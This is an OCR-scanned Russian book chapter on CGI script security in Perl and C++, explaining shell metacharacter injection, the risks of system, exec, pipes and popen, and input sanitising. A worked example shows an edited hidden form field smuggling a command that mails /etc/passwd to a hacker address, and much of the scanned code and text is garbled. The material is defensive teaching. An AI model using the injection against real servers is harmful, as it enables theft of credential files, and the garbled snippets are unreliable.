На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Вызов внешни. ПРОГРАММ с помощью Perl

Так      Perl является замещением сценария оболочки, то с его
помощью можно взаимодействовать с системой. В частности,
этот язык позволяет вызывать внешние программы. О том, как это сделать, я расскажу далее. Однако не забывайте о том, что использование команд системы в сценариях СОI представляет серьезную опасность для вашего компьютера. Поэтому старайтесь избегать работы с внеш­ними программами. Но если вам никак не обойтись без вызова внешней ко­манды, воспользуйтесь для этого системными функциями system, exec к fork.
ВОПРОСЫ    БЕЗОПАСНОСТИ CGI
Теперь можно поговорить о проблемах безопасности, связанных со сценариями CGI. Прежде всего, нужно отметить, что многие разработчики сценариев избе­гают использования метасимволов в качестве входных данных. Далее приводятся некоторые правила разработки сценариев CGI:
• Старайтесь избегать или удалять из предоставленных пользователем данных следующие символы:
;<>*|'&$!#() ПО:'"/
• В этом списке не хватает метасимвола перехода на новую строку. Однако удаление этого символа может создать огромное количество проблем, и лучше оставить его в покое.
• Поработав с распространенными программами CGI, вы обнаружите, что некоторые из них могут быть использованы для проведения атак метасим­волов. Этим атакам подвержены практически все CGI-программы, пре­образующие вводимые символы (в шестнадцатиричном представлении) в эквиваленты ASCII-таблицы и передающие их оболочке.
• Убедитесь, что сценарий не оставляет после своей работы файлы в катало­ге tmp.
• ^разветвляйте (fork) оболочку с помощью Perl.
НОВЫЕ НЕДОСТАТКИ безопасности
Не так давно были обнаружены существенные недостатки в щ некоторых распространенных пакетах CGI. Судя по всему, Щ многие программисты относятся к проблемам безопасности достаточно несерьезно. А зря. Некоторые компании и про­' граммисты поставляют CGI-пакеты (программы, содержащие -взаимосвязанные сценарии) людям, которые не имеют ни малейшего пред­ставления о программировании и вопросах безопасности системы. Подобное отношение к разработке программ может очень пагубно сказаться и на про-• давцах, и на покупателях, у
КАК СЦЕНАРИИ МОГУТ ПОВЛИЯТЬ  НА   БЕЗОПАСНОСТЬ СИСТЕМЫ
Если злоумышленник изменит сценарий, то он сможет провести некоторые из
описанных ниже операций:
1. Заполучить файл паролей (если он не «затенен»). С его помощью хакер сможет провести атаку грубой силы или атаку словаря.
2. Заполучить структуру (map) файловой системы. Эта информация помо­жет хакеру в обнаружении недостатков вашей системы.
3. Заполучить системную информацию, расположенную в каталоге /etc.
4. Запустить сервер регистрации на высоком порте, а затем воспользоваться услугами Telnet.
5. Провести против сервера атаку отказа служб. Для этого хакер может вос­пользоваться командами поиска файлов (задав достаточно широкий шаб­лон) или другими утилитами, занимающими достаточно большое количе­ство ресурсов системы.
6. Удалить или изменить файлы, хранящие журналы регистрации.
УРОВНИ доступ WEB-СЕРВЕРА
Одной из наиболее уязвимых целей для атак с применением сценариев CGI явля­ются Web-серверы, выполняющиеся на правах root. (Сервер с правами гоог-пользо-вателя обладает неограниченным доступом ко всем ресурсам машины.) Только таким образом сервер может привязаться к порту 80 (порт протокола HTTP). После этого сервер должен вызвать команду setuid (17) и изменить уровень своих привилегий на привилегии пользователя «nobody» — т. е. пользова­теля, не наделенного привилегиями вообще. Для этого вы должны указать в файле конфигурации, как (под чьей учетной записью) будет выполняться про­грамма-сервер. (По умолчанию Web-сервер выполняется под учетной записью «nobody» — стандартной для многих Unix-систем учетной записи без каких-либо
привилегий.)
Однако можно выполнять сервер под учетной записью какого-либо пользовате­ля. Для этого нужно присвоить серверу идентификатор пользователя (например,
WebServerUser)n идентификатор какой-либо группы (например, WebServerGroup). Благодаря этому сервер не будет мешать работе программ, выполняющихся под
учетной записью «nobody» (а они не будут мешать серверу).
Программа выполняет сценарии CGI, используя идентификатор вла­дельца сценария. Благодаря этому можно избежать некоторых проблем безопас­ности. Однако если хакеру удастся выполнять команды, воспользовавшись иден­тификатором какого-либо пользователя, то он сможет получить практически неограниченный доступ к системе. Программу cgiwrap можно найти по адресу http://www.umr. edu/~cgiwrap.
Опислни НЕКОТОРЫХ ПРОБЛЕМ
Системные администраторы вывели краткую формулу работы со сценариями CGI:
«Никогда не доверяй входным данным». Это значит, что вы должны сделать все возможное, чтобы исключить вероятность некорректного использования вход­ных данных сценария. Именно с помощью таких данных хакеры пытаются ис­пользовать недостатки системы. Чтобы лучше разобраться во всем этом, давайте рассмотрим простой пример.
Пользователь Iklanda хочет сделать так, чтобы пользователи могли посылать ему сообщения электронной почты прямо с Web-страницы. У него есть несколько адресов, поэтому он внедрил в Web-страницу элемент, указывающий, по како­му адресу будет отправлено сообщение. Благодаря этому пользователь сможет в дальнейшем изменять адрес, не изменяя сам сценарий.
<INPUT TYPE="hidden" NAME="lk_address" VALUE="lklander@jamsa.com">
В этой строке содержится две ошибки. Iklander поместил адрес, по которому будет отправлено сообщение электронной почты, если пользователь выберет ссыл­ку на временный файл (с именем inputJtle). Кроме того, он передал элемент lk_addressn3 формы в переменную.
В Perl Iklander получит свою электронную почту посредством выполнения сле­дующего оператора (он выполняется в том случае, если пользователь щелкнет мышью по кнопке Send):
system (Vusr/Iib/sendmail -t $lk_address < $input_file");
В C++ Iklandei получит свою электронную почту посредством выполнения сле­дующего оператора (он выполняется в том случае, если пользователь щелкнет мышью по кнопке Send):
system('7usr/lib/sendmail -t .....    ■    +    < +
В обоих случаях оболочка будет разветвлена. По неосторожности Iklander пред­положил, что пользователи будут вызывать сценарий только с помощью формы
электронной почты. В этом случае адрес электронной почты будет всегда пере­даваться с помощью их переменной. К сожалению, хакеры могут скопировать форму на свою машину и отредактировать ее следующим образом:
<INPUT T¥PE="hidden"> NAME="lklander" VAliOE="Iklander@jamsa. com/mail hackerghacker.com </etc/passwd">
После этого хакер может переслать отредактированную форму обратно на маши­ну и заполучить файл паролей.
Рлзветвлени оболочки
В предыдущем разделе рассказывалось о том, как хакер может с помощью ко­манды system разветвить оболочку. Под разветвлением оболочки понимается си­туация, когда пользователь создает на сервере вторую копию используемой обо­лочки. Как уже говорилось в главе 17, система Unix создает оболочку в момент регистрации, причем каждому пользователю своя собственная
оболочка. Если же разветвить ее, то Unix создаст еще одну копию используемой оболочки. Это очень удобный путь проникновения в систему. Поэтому вы не должны предоставлять пользователям системы такую возможность.
К сожалению, system не является единственной командой, способной разветв­лять оболочку. В Perl можно вызвать оболочку с помощью открытия конвейера
(pipe), символа «"» (или ххх) или (в некоторых случаях) команды exec. Далее приводится фрагмент программы, демонстрирующий все три метода:
open(OUT,  "(program $args");        * Открытие конвейера 'program $args' ; * Символ '
exec("program $args"); * Использование функции exec
Кроме того, в Perl можно случайно разветвить оболочку с помощью оператора eve/или модификатора регулярных выражений /е (он вызывает eval).
В C/C++ разветвить оболочку можно с помощью команды рореп:
popen("program",  "w");

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика